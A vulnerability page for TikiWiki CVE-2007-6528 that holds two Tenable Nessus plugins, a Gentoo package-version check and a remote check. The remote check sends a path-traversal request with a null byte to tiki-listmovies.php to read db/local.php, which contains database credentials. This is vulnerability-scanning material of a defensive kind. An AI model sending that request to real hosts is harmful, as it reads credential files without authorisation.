Vulnerabilities > CVE-2007-6528 - Path Traversal vulnerability in Tiki Tikiwiki Cms/Groupware

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200801-10.
#
# The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(30089);
  script_version("1.15");
  script_cvs_date("Date: 2019/08/02 13:32:44");

  script_cve_id("CVE-2007-6526", "CVE-2007-6528", "CVE-2007-6529");
  script_xref(name:"GLSA", value:"200801-10");

  script_name(english:"GLSA-200801-10 : TikiWiki: Multiple vulnerabilities");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200801-10
(TikiWiki: Multiple vulnerabilities)

    Jesus Olmos Gonzalez from isecauditors reported insufficient
    sanitization of the 'movies' parameter in file tiki-listmovies.php
    (CVE-2007-6528).
    Mesut Timur from H-Labs discovered that the
    input passed to the 'area_name' parameter in file
    tiki-special_chars.php is not properly sanitised before being returned
    to the user (CVE-2007-6526).
    redflo reported multiple
    unspecified vulnerabilities in files tiki-edit_css.php,
    tiki-list_games.php, and tiki-g-admin_shared_source.php
    (CVE-2007-6529).
  
Impact :

    A remote attacker can craft the 'movies' parameter to run a directory
    traversal attack through a '..' sequence and read the first 1000 bytes
    of any arbitrary file, or conduct a cross-site scripting (XSS) attack
    through the 'area_name' parameter. This attack can be exploited to
    execute arbitrary HTML and script code in a user's browser session,
    allowing for the theft of browser session data or cookies in the
    context of the affected website. The impacts of the unspecified
    vulnerabilities are still unknown.
  
Workaround :

    There is no known workaround at this time."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200801-10"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"All TikiWiki users should upgrade to the latest version:
    # emerge --sync
    # emerge --ask --oneshot --verbose '>=www-apps/tikiwiki-1.9.9'"
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cwe_id(22, 79);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:tikiwiki");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/01/23");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/01/27");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 Tenable Network Security, Inc.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"www-apps/tikiwiki", unaffected:make_list("ge 1.9.9"), vulnerable:make_list("lt 1.9.9"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "TikiWiki");
}

#
#  (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(29799);
  script_version("1.19");
  script_cvs_date("Date: 2018/11/15 20:50:19");

  script_cve_id("CVE-2007-6528");
  script_bugtraq_id(27008);

  script_name(english:"Tikiwiki tiki-listmovies.php movie Parameter Traversal Arbitrary File Access");
  script_summary(english:"Tries to read a local file using tiki-listmovies.php");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is prone to a
directory traversal attack." );
 script_set_attribute(attribute:"description", value:
"The remote host is running TikiWiki, an open source wiki application
written in PHP.

The version of TikiWiki installed on the remote host fails to sanitize
input to the 'movie' parameter of the 'tiki-listmovies.php' script
before using it to access files.  An unauthenticated attacker may be
able to leverage this issue to read up to 1000 lines of arbitrary
files on the remote host, subject to the privileges of the web server
user id.

Note that successful exploitation is possible regardless of PHP's
'magic_quotes_gpc' and 'register_globals' settings." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/485482/30/0/threaded");
 script_set_attribute(attribute:"see_also", value:"https://tiki.org/ReleaseProcess199" );
 script_set_attribute(attribute:"solution", value:"Upgrade to Tikiwiki 1.9.9 or later.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);

 script_set_attribute(attribute:"plugin_publication_date", value:"2007/12/26");

script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:tikiwiki:tikiwiki");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("tikiwiki_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP","www/tikiwiki");
  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

if (get_kb_item("Services/www/"+port+"/embedded")) exit(0);
port = get_http_port(default:80,php:TRUE);

install = get_install_from_kb(appname:'tikiwiki', port:port, exit_on_fail:TRUE);
dir = install['dir'];

file = "../db/local.php";
w = http_send_recv3(method:"GET",
    item:string(
      dir, "/tiki-listmovies.php?",
      "movie=", file, "%001234"
    ),
    port:port,
    exit_on_fail:TRUE
  );

  res = w[2];

# There's a problem if there's an entry for root.
if ('$pass_tiki' >< res)
{
  contents = strstr(res, '<object classid=');
  if ('width="' >< contents)
    contents = strstr(contents, 'width="') - 'width="';
  if ('"  height="' >< contents)
    contents = contents - strstr(contents, '"  height="');
  if ('$pass_tiki' >!< contents) contents = res;

  if (report_verbosity > 0)
  {
    info = string(
      "\n",
      "Here are the contents of Tikiwiki's 'db/local.php' file that Nessus\n",
      "was able to read from the remote host :\n",
      "\n",
      data_protection::sanitize_user_full_redaction(output:contents)
      );
    security_warning(port:port, extra:info);
  }
  else security_warning(port);
  exit(0);
}